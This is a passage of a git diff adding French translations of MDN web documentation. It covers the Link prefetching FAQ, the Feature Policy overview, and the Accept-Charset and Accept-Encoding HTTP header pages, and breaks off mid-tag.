title="http://tools.ietf.org/html/rfc2068">RFC 2068</a> section 19.6.2.4.</p> + +<div class="note">Note : Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente <a class="external" href="http://tools.ietf.org/html/rfc2616" title="http://tools.ietf.org/html/rfc2616">RFC 2616</a> ne décrit pas l’en-tête <code>Link:</code>. Bien que les en-têtes <code>Link:</code> ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici.</div> + +<p>Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes.</p> + +<p>Quelques exemples en plus, ci-dessous :</p> + +<pre class="eval"><link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> +<link rel="next" href="2.html"> +</pre> + +<h3 id="Les_balises_ancres_.28.3Ca.3E.29_sont-elles_pr.C3.A9charg.C3.A9es_.3F" name="Les_balises_ancres_.28.3Ca.3E.29_sont-elles_pr.C3.A9charg.C3.A9es_.3F">Les balises ancres (<a>) sont-elles préchargées ?</h3> + +<p>Non, seulement les balises <code><link></code> avec une relation de type <code>next</code> ou <code>prefetch</code> sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises <a>, lesquelles devront inclure un type de relation <code>next</code> ou <code>prefetch</code>. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts.</p> + +<h3 id="Le_pr.C3.A9chargement_de_liens_est-il_respectueux_des_standards_.3F" name="Le_pr.C3.A9chargement_de_liens_est-il_respectueux_des_standards_.3F">Le préchargement de liens est-il respectueux des standards ?</h3> + +<p>Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens (<a class="external" href="http://www.la-grange.net/w3c/html4.01/types.html#h-6.12">Section 6.12: types de liens (fr)</a>). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours.</p> + +<h3 id="Comment_le_temps_disponible_du_navigateur_est-il_d.C3.A9termin.C3.A9_.3F" name="Comment_le_temps_disponible_du_navigateur_est-il_d.C3.A9termin.C3.A9_.3F">Comment le temps disponible du navigateur est-il déterminé ?</h3> + +<p>Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API <code>nsIWebProgressListener</code>. On attache un écouteur à l’objet de haut-niveau <code>nsIWebProgress</code> ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire <code>onLoad</code> se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger.</p> + +<h3 id="Que_se_passe-t-il_si_je_clique_sur_un_lien_pendant_un_pr.C3.A9chargement_.3F" name="Que_se_passe-t-il_si_je_clique_sur_un_lien_pendant_un_pr.C3.A9chargement_.3F">Que se passe-t-il si je clique sur un lien pendant un préchargement ?</h3> + +<p>Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type <code>Accept-Ranges: bytes</code>. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range.</p> + +<h3 id="Si_je_t.C3.A9l.C3.A9charge_quelque-chose_en_t.C3.A2che_de_fond_.3F_Le_pr.C3.A9chargement_de_liens_viendra-t-il_en_concurrence_pour_la_bande_passante_.3F" name="Si_je_t.C3.A9l.C3.A9charge_quelque-chose_en_t.C3.A2che_de_fond_.3F_Le_pr.C3.A9chargement_de_liens_viendra-t-il_en_concurrence_pour_la_bande_passante_.3F">Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ?</h3> + +<p>Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau.</p> + +<h3 id="Existe-t-il_des_restrictions_sur_ce_qui_peut_.C3.AAtre_pr.C3.A9charg.C3.A9_.3F" name="Existe-t-il_des_restrictions_sur_ce_qui_peut_.C3.AAtre_pr.C3.A9charg.C3.A9_.3F">Existe-t-il des restrictions sur ce qui peut être préchargé ?</h3> + +<p>Oui, uniquement les URL http:// (et, à partir de {{ Gecko("1.9.1") }}, https://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise <link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type <code>rel=prefetch</code>, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées.</p> + +<h3 id="Mozilla_peut-il_pr.C3.A9charger_un_document_d.E2.80.99un_h.C3.B4te_diff.C3.A9rent_.3F" name="Mozilla_peut-il_pr.C3.A9charger_un_document_d.E2.80.99un_h.C3.B4te_diff.C3.A9rent_.3F">Mozilla peut-il précharger un document d’un hôte différent ?</h3> + +<p>Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur.</p> + +<h3 id="Les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es_contiennent-elles_un_en-t.C3.AAte_Referer:_.3F" name="Les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es_contiennent-elles_un_en-t.C3.AAte_Referer:_.3F">Les requêtes préchargées contiennent-elles un en-tête <code>Referer:</code> ?</h3> + +<p>Oui, les requêtes préchargées incluent une entête HTTP <code>Referer:</code> qui indique le document duquel la cible de préchargement a été extraite.</p> + +<p>Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un <code>href</code> vers le document préchargé en spécifiant un en-tête de réponse HTTP <code>Cache-control: must-revalidate</code>. Cet en-tête permet la mise en cache mais requiert une requête de validation <code>If-Modified-Since</code> ou <code>If-None-Match</code> pour que le document soit servi à partir du cache du navigateur.</p> + +<h3 id="En_tant_qu.27administrateur_serveur.2C_puis-je_distinguer_les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es.2C_des_requ.C3.AAtes_normales_.3F" name="En_tant_qu.27administrateur_serveur.2C_puis-je_distinguer_les_requ.C3.AAtes_pr.C3.A9charg.C3.A9es.2C_des_requ.C3.AAtes_normales_.3F">En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ?</h3> + +<p>Oui, l'en-tête suivant est envoyé avec chaque requête préchargée :</p> + +<pre class="eval"> X-moz: prefetch +</pre> + +<p>Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla.</p> + +<h3 id="Existe-t-il_une_pr.C3.A9f.C3.A9rence_pour_d.C3.A9sactiver_le_pr.C3.A9chargement_de_liens_.3F" name="Existe-t-il_une_pr.C3.A9f.C3.A9rence_pour_d.C3.A9sactiver_le_pr.C3.A9chargement_de_liens_.3F">Existe-t-il une préférence pour désactiver le préchargement de liens ?</h3> + +<p>Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via <code>about:config</code>) :</p> + +<pre class="eval"> user_pref("network.prefetch-next", false); +</pre> + +<p>Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence.</p> + +<h3 id="Et_pour_les_gens_qui_payent_.C3.A0_la_bande_passante_utilis.C3.A9e_.3F" name="Et_pour_les_gens_qui_payent_.C3.A0_la_bande_passante_utilis.C3.A9e_.3F">Et pour les gens qui payent à la bande passante utilisée ?</h3> + +<p>En fait, il y a deux façons d'aborder ce problème :</p> + +<ol> + <li>Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM.</li> + <li>Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement.</li> +</ol> + +<p>Il est important que les sites web adoptent la balise <code><link></code> pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise <code><link></code> donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise <code><link></code> encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut.</p> + +<h3 id="Quels_navigateurs_supportent_le_pr.C3.A9chargement_de_liens_.3F" name="Quels_navigateurs_supportent_le_pr.C3.A9chargement_de_liens_.3F">Quels navigateurs supportent le préchargement de liens ?</h3> + +<p>Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. <a class="external" href="http://gemal.dk/browserspy/prefetch.php">Testez</a> votre navigateur pour vérifier s'il supporte le préchargement de liens.</p> + +<h3 id="D.27autres_questions_.3F" name="D.27autres_questions_.3F">D'autres questions ?</h3> + +<p>Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-)</p> + +<h4 id="Voir_.C3.A9galement" name="Voir_.C3.A9galement">Voir également</h4> + +<ul> + <li><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints (en)</a></li> +</ul> + +<div class="originaldocinfo"> +<h3 id="Informations_sur_le_document_original" name="Informations_sur_le_document_original">Informations sur le document original</h3> + +<ul> + <li>Auteur(s) : Darin Fisher <a class="link-mailto" href="mailto:(darin@meer.net)" rel="freelink">(darin@meer.net)</a></li> + <li>Date de dernière mise à jour : 3 mars 2003</li> +</ul> +</div> + +<p>{{ languages( { "en": "en/Link_prefetching_FAQ", "it": "it/Link_prefetching_FAQ", "ja": "ja/Link_prefetching_FAQ" } ) }}</p> diff --git a/files/fr/web/http/feature_policy/index.html b/files/fr/web/http/feature_policy/index.html new file mode 100644 index 0000000000..7629bf0d21 --- /dev/null +++ b/files/fr/web/http/feature_policy/index.html @@ -0,0 +1,173 @@ +--- +title: Feature Policy +slug: Web/HTTP/Feature_Policy +tags: + - Feature Policy + - Feature-Policy + - HTTP + - Introduction + - Overview + - Reference + - Security + - Sécurité + - access + - accès + - delegation + - header + - permission +translation_of: Web/HTTP/Feature_Policy +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary">Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité.</span></p> + +<div class="note"> +<p>L'en-tête <code>Feature-Policy</code> a maintenant été renommé <code>Permissions-Policy</code> dans la spécification, et cet article va possiblement être modifié en conséquence.</p> +</div> + +<h2 id="En_résumé">En résumé</h2> + +<p>Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement.</p> + +<p>Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités.</p> + +<p>Par exemple, voici des choses que vous pourrez faire avec Feature Policy :</p> + +<ul> + <li>Changer le comportement par défaut de la lecture automatique sur mobile ou pour les vidéos de source externe,</li> + <li>Vous interdire d'utiliser les API sensitives comme l'appareil photographique ou le microphone.</li> + <li>Permettre aux iframes d'utiliser l'<a href="/en-US/docs/Web/API/Fullscreen_API">API plein écran</a>.</li> + <li>Empêcher l'utilisateur d'API obsolètes comme les <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">XHR synchrones</a> ou {{domxref("document.write()")}}.</li> + <li>Vous assurer que les images sont dimensionnées correctement et ne sont pas trop grosses pour le cadre de la fenêtre.</li> +</ul> + +<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2> + +<p>Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité.</p> + +<p>Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou <em>allowlist</em>) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité.</p> + +<h3 id="Écrire_une_règle">Écrire une règle</h3> + +<p>Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité.</p> + +<h3 id="Appliquer_votre_règle">Appliquer votre règle</h3> + +<p>Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités :</p> + +<ul> + <li>L'en-tête HTTP {{httpheader("Feature-Policy")}}.</li> + <li>L'attribut {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} sur les iframes.</li> +</ul> + +<p>La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page.</p> + +<p>Pour plus de détails, voir <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a>.</p> + +<h3 id="Déterminer_la_règle">Déterminer la règle</h3> + +<p>Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.</p> + +<h2 id="Types_de_fonctionnalités_contrôlables">Types de fonctionnalités contrôlables</h2> + +<p>Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs.</p> + +<p>Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple :</p> + +<ul> + <li>Retourner "permission denied" pour les API JavaScript qui requièrent une élévation de privilèges de la part de l'utilisateur,</li> + <li>Retourner <code>false</code> ou jeter une erreur depuis une API JavaScript qui permet d'accéder à une fonctionnalité,</li> + <li>Modifier les valeurs par défaut ou les options qui contrôlent le comportement de la fonctionnalité.</li> +</ul> + +<p>L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux grandes catégories :</p> + +<ul> + <li>Imposer des bonnes pratiques pour une bonne expérience d'utilisation,</li> + <li>Fournir un contrôle granulaire sur les fonctionnalités sensitives ou puissantes.</li> +</ul> + +<h3 id="Bonnes_pratiques_pour_une_bonne_expérience_dutilisation">Bonnes pratiques pour une bonne expérience d'utilisation</h3> + +<p>Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable.</p> + +<p>Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines.</p> + +<p>La liste de ces fonctionnalités est :</p> + +<ul> + <li>Animations de rafraichissement de l'affichage,</li> + <li>Formats d'image du passé,</li> + <li>Images surdimensionnées,</li> + <li>Scripts synchrones,</li> + <li>Requêtes XMLHTTPRequest sychrones,</li> + <li>Images non optimisées,</li> + <li>Médias non dimensionnés.</li> +</ul> + +<h3 id="Contrôle_granulaire_sur_certaines_fonctionnalités">Contrôle granulaire sur certaines fonctionnalités</h3> + +<p>Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible.</p> + +<p>Les fonctionnalités incluent (voir la <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives">liste des Features</a>) :</p> + +<ul> + <li>Accéléromètre</li> + <li>Capteur de luminosité ambiante</li> + <li>Lecture automatique</li> + <li>Appareil photographique</li> + <li>Médias chiffrés</li> + <li>Plein écran</li> + <li>Géolocalisation</li> + <li>Gyroscope</li> + <li>Magnétomètre</li> + <li>Microphone</li> + <li>MIDI</li> + <li>PaymentRequest</li> + <li>Picture-in-picture</li> + <li>USB</li> + <li>Web Share API</li> + <li>VR / XR</li> +</ul> + +<h2 id="Exemples">Exemples</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> + <li>Voir <a href="http://feature-policy-demos.appspot.com/">Démonstrations de Feature Policy</a> pour un exemple d'utilisation de plusieurs règles.</li> +</ul> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}</td> + <td>{{Spec2("Feature Policy")}}</td> + <td>Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + + + +<p>{{Compat("http.headers.Feature-Policy")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> + <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li> + <li>{{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes</li> + <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction à Feature Policy</a></li> + <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies sur www.chromestatus.com</a></li> + <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (extension Chrome Developer Tools)</a></li> + <li><a href="/en-US/docs/Web/Privacy">Anonymat, permissions et informations sur la sécurité</a></li> +</ul> diff --git a/files/fr/web/http/headers/accept-charset/index.html b/files/fr/web/http/headers/accept-charset/index.html new file mode 100644 index 0000000000..61ea07025b --- /dev/null +++ b/files/fr/web/http/headers/accept-charset/index.html @@ -0,0 +1,83 @@ +--- +title: Accept-Charset +slug: Web/HTTP/Headers/Accept-Charset +translation_of: Web/HTTP/Headers/Accept-Charset +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="tlid-translation translation"><span title="">L'en-tête HTTP de la requête</span></span><strong><code>Accept-Charset</code></strong> <span class="tlid-translation translation"><span title="">indique le jeu de caractères que le client est capable de comprendre</span></span>. <span class="tlid-translation translation"><span title="">À l'aide de la </span></span> <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>, <span class="tlid-translation translation"><span title="">le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}.</span> <span title="">Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile.</span></span></p> + +<p><span class="tlid-translation translation"><span title="">Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable).</span> <span title="">Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête</span></span> <code>Accept-Charset</code> <span class="tlid-translation translation"><span title="">dans ce cas.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation"><span title="">Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini.</span> <span title="">Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut.</span></span></p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Accept-Charset: <charset> + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept-Charset: utf-8, iso-8859-1;q=0.5</pre> + +<h2 id="Les_directives"><span class="tlid-translation translation"><span title="">Les directives</span></span></h2> + +<dl> + <dt><code><charset></code></dt> + <dd><span class="tlid-translation translation"><span title="">Un jeu de caractères comme utf-8 ou iso-8859-15.</span></span></dd> + <dt><code>*</code></dt> + <dd><span class="tlid-translation translation"><span title="">Tout jeu de caractères non mentionné ailleurs dans l'en-tête;</span> <span title="">'*' utilisé comme un joker.</span></span></dd> + <dt><code>;q=</code> (q-factor weighting)</dt> + <dt><span class="tlid-translation translation"><span title="">Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée</span></span> <em>weight</em>.</dt> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre>Accept-Charset: iso-8859-1 + +Accept-Charset: utf-8, iso-8859-1;q=0.5 + +Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col"><span class="tlid-translation translation"><span title="">Titre</span></span></th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_du_navigateur"><span class="tlid-translation translation"><span title="">Compatibilité du navigateur</span></span></h2> + +<p class="hidden"><span class="tlid-translation translation"><span title="">Le tableau de compatibilité de cette page est généré à partir de données structurées.</span> <span title="">Si vous souhaitez contribuer aux données, veuillez consulter</span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation"><span title="">et envoyez-nous une demande</span></span>..</p> + +<p>{{Compat("http.headers.Accept-Charset")}}</p> + +<h2 id="Voir_également"><span class="tlid-translation translation"><span title="">Voir également</span></span></h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> + <li>Header <span class="tlid-translation translation"><span title="">avec le résultat de la négociation de contenu</span></span> : {{HTTPHeader("Content-Type")}}</li> + <li><span class="tlid-translation translation"><span title="">Autres </span></span>Header<span class="tlid-translation translation"><span title=""> similaires</span></span> : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/fr/web/http/headers/accept-encoding/index.html b/files/fr/web/http/headers/accept-encoding/index.html new file mode 100644 index 0000000000..d65b1ca62b --- /dev/null +++ b/files/fr/web/http/headers/accept-encoding/index.html @@ -0,0 +1,127 @@ +--- +title: Accept-Encoding +slug: Web/HTTP/Headers/Accept-Encoding +translation_of: Web/HTTP/Headers/Accept-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<div>L'en-tête HTTP <strong><code>Accept-Encoding</code></strong> permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant la négociation de contenu (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation)</a>, le serveur choisit l'une des propositions d'encodage que le client supporte. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête {{HTTPHeader("Content-Encoding")}} de la réponse.</div> + +<div> </div> + +<div>Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage <code>entity </code>(aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse:</div> + +<div> </div> + +<ul> + <li>Les données sont déjà compressées et la compression ne réduira pas la taille des données transmises. Cela peut être le cas de certains formats d'images qui sont déjà compressés;</li> + <li>Le serveur est en surcharge et ne peut plus allouer suffisamment de temps de calcul nécessaire pour compresser les données. Microsoft recommande de ne pas utiliser la compression si le serveur utilise plus de 80% de la puissance de calcul.</li> +</ul> + +<p>Dès lors que l’usage d’<code>identity</code>, signifiant l’absence de compression, n’est pas explicitement interdite, que ce soit par <code>identity;q=0</code> ou <code>*;q=0</code> (sans l’usage d’une autre valeur pour <code>identity</code>), le serveur ne doit jamais renvoyer une erreur {{HTTPStatus("406")}} <code>Not Acceptable.</code></p> + +<div class="note"><strong>Notes:</strong> + +<ul> + <li> + <p>Un dépot IANA garde à jour <a href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">une liste complète des encodage de contenu</a>.</p> + </li> + <li>Deux autres encodages, <code>bzip</code> et<code>bzip2</code>, sont parfois utilisés, bien que non-standard. Ils implémentent l’algorithme utilisé par les deux programmes UNIX respectifs. À noter que le premier n’est plus maintenu suite à des problème de license.</li> +</ul> +</div> + +<p> </p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Accept-Encoding: encoding_method;q=value +</pre> + +<dl> + <dt>encoding_method</dt> + <dd>La valeur de encoding_method peut être: gzip, compress, deflate, br, identity ou *.</dd> + <dt>value</dt> + <dd>La valeur de q (qvalue) correspond à la priorité d'utilisation des méthodes d'encodage. Il doit être un nombre compris entre 0 et 1, il peut s'agir d'un nombre à virgule (pas plus de 3 chiffres après la virgule). 1 étant la valeur la plus importante, 0 la moins importante.</dd> +</dl> + +<div class="note"> +<p>Il est possible de préciser plusieurs méthodes d'encodage, elles doivent être séparée par une virgule.</p> +</div> + +<div class="note"> +<p>La valeur <code>q</code> est facultative, il est possible de l'omettre dans l'en-tête.</p> +</div> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>Un format de compression utilisant <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32-bit.</dd> +</dl> + +<dl> + <dt><code>compress</code></dt> + <dd>Un format de compression utilisant l'algorithme <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW).</dd> + <dt><code>deflate</code></dt> + <dd>Un format de compression utilisant la structure <a class="external 